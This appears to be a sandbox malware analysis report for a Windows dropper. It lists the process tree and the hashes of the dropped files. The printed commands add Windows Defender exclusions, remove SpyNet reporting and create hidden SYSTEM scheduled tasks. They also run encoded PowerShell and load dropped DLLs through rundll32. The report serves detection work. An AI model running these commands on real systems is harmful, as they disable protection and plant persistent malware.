                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:776
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:1944
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:4440
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:1160
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:896
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:3132
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:2932
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:2904
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:4604
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:4616
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:2712
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /CREATE /TN "gtgjXOQTh" /SC once /ST 01:14:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                            2⤵
                                                                                                                            • Creates scheduled task(s)
                                                                                                                            PID:2624
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /run /I /tn "gtgjXOQTh"
                                                                                                                            2⤵
                                                                                                                              PID:4552
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /DELETE /F /TN "gtgjXOQTh"
                                                                                                                              2⤵
                                                                                                                                PID:4880
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /CREATE /TN "ZJggANjsYpCqsGjEe" /SC once /ST 01:38:10 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\CSaiIME.exe\" UK /xEsite_idZwP 385118 /S" /V1 /F
                                                                                                                                2⤵
                                                                                                                                • Drops file in Windows directory
                                                                                                                                • Creates scheduled task(s)
                                                                                                                                PID:3412
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /run /I /tn "ZJggANjsYpCqsGjEe"
                                                                                                                                2⤵
                                                                                                                                  PID:4324
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                1⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:4524
                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                  2⤵
                                                                                                                                    PID:1960
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                  1⤵
                                                                                                                                    PID:3156
                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                    1⤵
                                                                                                                                      PID:4780
                                                                                                                                    • C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\CSaiIME.exe
                                                                                                                                      C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\CSaiIME.exe UK /xEsite_idZwP 385118 /S
                                                                                                                                      1⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Drops Chrome extension
                                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:2468
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /DELETE /F /TN "bCAdHbOFiqtMCRhbmR"
                                                                                                                                        2⤵
                                                                                                                                          PID:3116
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                          2⤵
                                                                                                                                            PID:3100
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:4228
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                              2⤵
                                                                                                                                                PID:2784
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2708
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\YibzXz.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                                  2⤵
                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:2536
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\LRNvgVr.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:2776
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /END /TN "eGwAoTnpAObQfPU"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2704
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4320
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "ALvbXdfFiQJKEp" /F /xml "C:\Program Files (x86)\LCifMpYymZWU2\tWWCHdy.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:4720
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "BIiSjOILpRnDn2" /F /xml "C:\ProgramData\WkkDuRgYrrqHXcVB\oujrFQM.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:4692
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "uCAhUOuaRBfXDMltv2" /F /xml "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\ftzROSO.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:3672
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "cLzKLCJHWfKFSkdKasF2" /F /xml "C:\Program Files (x86)\mVqQIGUXDOgrC\txXOAHH.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:1092
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "kkPqOHrufYpxTagPJ" /SC once /ST 02:03:57 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\IzRZTwSZebgYVSAl\RxhBxULV\oWGjdKn.dll\",#1 /mSsite_idmty 385118" /V1 /F
                                                                                                                                                      2⤵
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:2348
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /run /I /tn "kkPqOHrufYpxTagPJ"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:4052
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                        2⤵
                                                                                                                                                          PID:2484
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:684
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4836
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1368
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /DELETE /F /TN "ZJggANjsYpCqsGjEe"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4852
                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\RxhBxULV\oWGjdKn.dll",#1 /mSsite_idmty 385118
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:3860
                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\RxhBxULV\oWGjdKn.dll",#1 /mSsite_idmty 385118
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                    PID:460
                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                      schtasks /DELETE /F /TN "kkPqOHrufYpxTagPJ"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:1744

                                                                                                                                                                  Network

                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                        Replay Monitor

                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                        Downloads

                                                                                                                                                                        • C:\Program Files (x86)\LCifMpYymZWU2\tWWCHdy.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          89b52cc6ee669b138eb820110393eb92

                                                                                                                                                                          SHA1

                                                                                                                                                                          48121b2083e30fbd7a0eafb7081a08526b756cd2

                                                                                                                                                                          SHA256

                                                                                                                                                                          b43aa28aba3b6f026c4e6d8cc30d96480817a1e4e88bc9392256ab8c36e1be7c

                                                                                                                                                                          SHA512

                                                                                                                                                                          c9844b624d81fdb056bf5baf0c8612bf48c2c4563950ac54ec1fe7890b88d81a526f39af36981014be5bcf30610119f96d566e77bd5f8e50243ab70a25199908

                                                                                                                                                                        • C:\Program Files (x86)\mVqQIGUXDOgrC\txXOAHH.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          7226f7b24299baede1fdb4377c0d0d61

                                                                                                                                                                          SHA1

                                                                                                                                                                          25b26810341676489011ce02d72cad856398e0a1

                                                                                                                                                                          SHA256

                                                                                                                                                                          52214b332d343a36d2bf78fd47d90244d156afe8cb675c36e13d1564e9ec71c7

                                                                                                                                                                          SHA512

                                                                                                                                                                          8b7719b801f183224057d905ff8743b18b373f11b665d43c1975b7ca2e4f5b43ddf9a0263836e471f720c27b26d5a2745ceba6a379c3aef3244b921f023f4871

                                                                                                                                                                        • C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\ftzROSO.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          be657670fc424d631164cdaec5307ec3

                                                                                                                                                                          SHA1

                                                                                                                                                                          b34d0254742c084c8edfc05b110c284f1f6ee0bd

                                                                                                                                                                          SHA256

                                                                                                                                                                          e98c068040671595c8029c5e875bdb6ee4e1c2e2eef6cc31d5e656e266e6a723

                                                                                                                                                                          SHA512

                                                                                                                                                                          ae242143d869e5aa429448cb19214c6b2b274181b73c074de9b16647da22d98faeab7bc66ec5b04273ff5cb00aa20af0ccdfaec16621027b5040460200837e83

                                                                                                                                                                        • C:\Program Files (x86)\yvWovCiVU\LRNvgVr.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          6adbc2e16879244708846617c9a176e6

                                                                                                                                                                          SHA1

                                                                                                                                                                          d59ff03c0a281118d143d5215d15a5a90940a2f0

                                                                                                                                                                          SHA256

                                                                                                                                                                          c2dfdf8f5ff443eeecfd4aeb6b42ad28ee13cc9622c4e93ae9407fbbd9d7ff73

                                                                                                                                                                          SHA512

                                                                                                                                                                          c1ade34762d6da08d050956b9802bf7aa6b11b9dde00e1be91cbdd1eea7cd7eb2fe0018dad5a37de82ccedc321d8ff5b13754256ae002797cbcdccb895852631

                                                                                                                                                                        • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                          Filesize

                                                                                                                                                                          2.0MB

                                                                                                                                                                          MD5

                                                                                                                                                                          e0ea914d30300388644271a1f9ac3964

                                                                                                                                                                          SHA1

                                                                                                                                                                          a22d8dcea434a87d25a600b7d9067e2ece48a43b

                                                                                                                                                                          SHA256

                                                                                                                                                                          2b9645c4a721a5d4728c20698d6443506a6d1225a96f3309fa1176ef0fb778bd

                                                                                                                                                                          SHA512

                                                                                                                                                                          5d7eba646c91b50cab4ad7600ffcd83f6675404001c9b325a0fdd47579ee23d6e7c071e688d135fc66cbfce33f99c69031b795fecc422d6dcd7efbbc44640584

                                                                                                                                                                        • C:\ProgramData\WkkDuRgYrrqHXcVB\oujrFQM.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          9202b3349ae74faa4ea1b3e1009bc5dc

                                                                                                                                                                          SHA1

                                                                                                                                                                          80b322081177f45aa1f84abc0dc3a7561d22fd02

                                                                                                                                                                          SHA256

                                                                                                                                                                          d63fc931812ca463ee1870f7cd0f83f9b3328f0d7d89cf12e983bae2de8bf0a5

                                                                                                                                                                          SHA512

                                                                                                                                                                          f93b5391a1367b1e663f9943c1329f6fbcec34aa5f65578abeccbc7818e9510312fe955e57ea8d8c7835e8a8e3d797e8792721c8f9f6d195483661603e4c087f

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                          Filesize

                                                                                                                                                                          187B

                                                                                                                                                                          MD5

                                                                                                                                                                          2a1e12a4811892d95962998e184399d8

                                                                                                                                                                          SHA1

                                                                                                                                                                          55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                          SHA256

                                                                                                                                                                          32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                          SHA512

                                                                                                                                                                          bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                                                          Filesize

                                                                                                                                                                          136B

                                                                                                                                                                          MD5

                                                                                                                                                                          238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                          SHA1

                                                                                                                                                                          0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                          SHA256

                                                                                                                                                                          801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                          SHA512

                                                                                                                                                                          2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                                                          Filesize

                                                                                                                                                                          150B

                                                                                                                                                                          MD5

                                                                                                                                                                          0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                          SHA1

                                                                                                                                                                          6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                          SHA256

                                                                                                                                                                          0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                          SHA512

                                                                                                                                                                          5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                          Filesize

                                                                                                                                                                          10KB

                                                                                                                                                                          MD5

                                                                                                                                                                          0d5a9616622f25fefc237d0cbde1d7bb

                                                                                                                                                                          SHA1

                                                                                                                                                                          c0a4a9a6d672f6b7a20453b109194052f48172ee

                                                                                                                                                                          SHA256

                                                                                                                                                                          c413889bd97d872713fc5546659234383a98a1436708dcafed8d46aadd565d19

                                                                                                                                                                          SHA512

                                                                                                                                                                          5766758e36af271a425d49b705f138a5f11b94584c7086c733ce2690c852bf4701c7c8fc2809de08b694af96acd7b0dad7c34159c72afef7c5b48cd16fa3a541

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                          Filesize

                                                                                                                                                                          35KB

                                                                                                                                                                          MD5

                                                                                                                                                                          08c35332b1f1fd8f98c0d3449f7a1743

                                                                                                                                                                          SHA1

                                                                                                                                                                          936e0ebab321566f90e9dd9db43aeaafad96b6a0

                                                                                                                                                                          SHA256

                                                                                                                                                                          5097d8378d91458194d6aa8d87dc6ea1c9bdaf1b89da0753e7e38fb51a8602b1

                                                                                                                                                                          SHA512

                                                                                                                                                                          ee6afe740304f114bc423213eec864f4ac83a13ae97eea48593bed149faefc8124170644745a4bbdc1f7b207d9e7d11c125df8b28c60c2c17a0542673cb3f921

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          88dc70c361a22feac57b031dd9c1f02f

                                                                                                                                                                          SHA1

                                                                                                                                                                          a9b4732260c2a323750022a73480f229ce25d46d

                                                                                                                                                                          SHA256

                                                                                                                                                                          43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59

                                                                                                                                                                          SHA512

                                                                                                                                                                          19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                                                          Filesize

                                                                                                                                                                          151B

                                                                                                                                                                          MD5

                                                                                                                                                                          bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                          SHA1

                                                                                                                                                                          9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                          SHA256

                                                                                                                                                                          b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                          SHA512

                                                                                                                                                                          3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                          Filesize

                                                                                                                                                                          64B

                                                                                                                                                                          MD5

                                                                                                                                                                          50a8221b93fbd2628ac460dd408a9fc1

                                                                                                                                                                          SHA1

                                                                                                                                                                          7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

                                                                                                                                                                          SHA256

                                                                                                                                                                          46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

                                                                                                                                                                          SHA512

                                                                                                                                                                          27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS6968.tmp\Install.exe

                                                                                                                                                                          Filesize

                                                                                                                                                                          6.9MB

                                                                                                                                                                          MD5

                                                                                                                                                                          ea99e72c1ac89aa9cc14178b1c46d50d

                                                                                                                                                                          SHA1

                                                                                                                                                                          60b896781f40e89106d0c76abd11c5b5d0832943

                                                                                                                                                                          SHA256

                                                                                                                                                                          9cd503eed313e3c5293f192804c0f20a4eef448876f8375fbc26a25be36d5b28

                                                                                                                                                                          SHA512

                                                                                                                                                                          03693bda0c8b693c09e416a7d0c335294f74804f336058a59612a07aa0dd918cd70958cc95feba7d3b26b2df235b0a60d0347d6ed6e353fec8c87c969f6068f1

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gpxk20g3.uz5.ps1

                                                                                                                                                                          Filesize

                                                                                                                                                                          60B

                                                                                                                                                                          MD5

                                                                                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                          SHA1

                                                                                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                          SHA256

                                                                                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                          SHA512

                                                                                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\obahtjhr.default-release\prefs.js

                                                                                                                                                                          Filesize

                                                                                                                                                                          6KB

                                                                                                                                                                          MD5

                                                                                                                                                                          73b50aaf2d3d408e64d5864b3bb227a7

                                                                                                                                                                          SHA1

                                                                                                                                                                          7a548292b5461985ea8b9eb8710469d775ed7fb9

                                                                                                                                                                          SHA256

                                                                                                                                                                          bc108b685b08caa7fe26279fb4acc47066fe9dc88a621a148cc128615b3f1b6c

                                                                                                                                                                          SHA512

                                                                                                                                                                          a19377cc1e6820865c2bad4379e585bcbd6af16383088474bab512e6f3cb6c79540dc2a325349937c84a99101c0894e93ae53fcff774c2e7c5dc11d80af36396

                                                                                                                                                                        • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                          Filesize

                                                                                                                                                                          1KB

                                                                                                                                                                          MD5

                                                                                                                                                                          5b74da6778ccaa0e1ca4ae7484775943

                                                                                                                                                                          SHA1

                                                                                                                                                                          0a2f6f315a0ca1a0366b509aec7b13c606645654

                                                                                                                                                                          SHA256

                                                                                                                                                                          172282931d7eeb60228e6b9b4b913fd78c73f2a7855620f35fb24a5c847b6c78

                                                                                                                                                                          SHA512

                                                                                                                                                                          20b4cb7174f49b22426b249f1dfc8f6273f50d1502536e773f4dcd073bf027f2a554d2437c2dc628dbe021c5c3b968b2d89f810ff1bb19630c1560e7feee1a1a

                                                                                                                                                                        • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                          Filesize

                                                                                                                                                                          11KB

                                                                                                                                                                          MD5

                                                                                                                                                                          540f443743253c03cae56c5c03db2f4a

                                                                                                                                                                          SHA1

                                                                                                                                                                          af65c777ac9860d6bb57bc8c277771e3939c8b07

                                                                                                                                                                          SHA256

                                                                                                                                                                          7a53b9ba9a49f88a87d9d9a2b34990ecca49354d0505ce1ba91131e4d5b7f10f

                                                                                                                                                                          SHA512

                                                                                                                                                                          1d7ba532af1a3f108a2a2c8decbe6566766a639ca5eaa01d924de49b26fbc209312c4b8bb77676ee0c0459f17a74d1ee0f012c4debf35257fa95c99395406a5f

                                                                                                                                                                        • C:\Windows\Temp\IzRZTwSZebgYVSAl\RxhBxULV\oWGjdKn.dll

                                                                                                                                                                          Filesize

                                                                                                                                                                          6.3MB

                                                                                                                                                                          MD5

                                                                                                                                                                          fdcc0ef7b4cb82035c51f55cfece6cf1

                                                                                                                                                                          SHA1

                                                                                                                                                                          ee1d2e870309f5ba05e0216d3ea909c1ae9d8ee4

                                                                                                                                                                          SHA256

                                                                                                                                                                          7c3415f11576e09a0910da101422f044162b11607aa670452843436925d8c26b

                                                                                                                                                                          SHA512

                                                                                                                                                                          05d9e81255dfbd647198b4f9d13c420f3f8d56a235ebbec301d7006597bec72b4bfa0dc7e8e1f76de4e9d16b5e95a9f5c585bbdb4ce5fe98cade2872dffccf3a

                                                                                                                                                                        • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                          Filesize

                                                                                                                                                                          6KB

                                                                                                                                                                          MD5

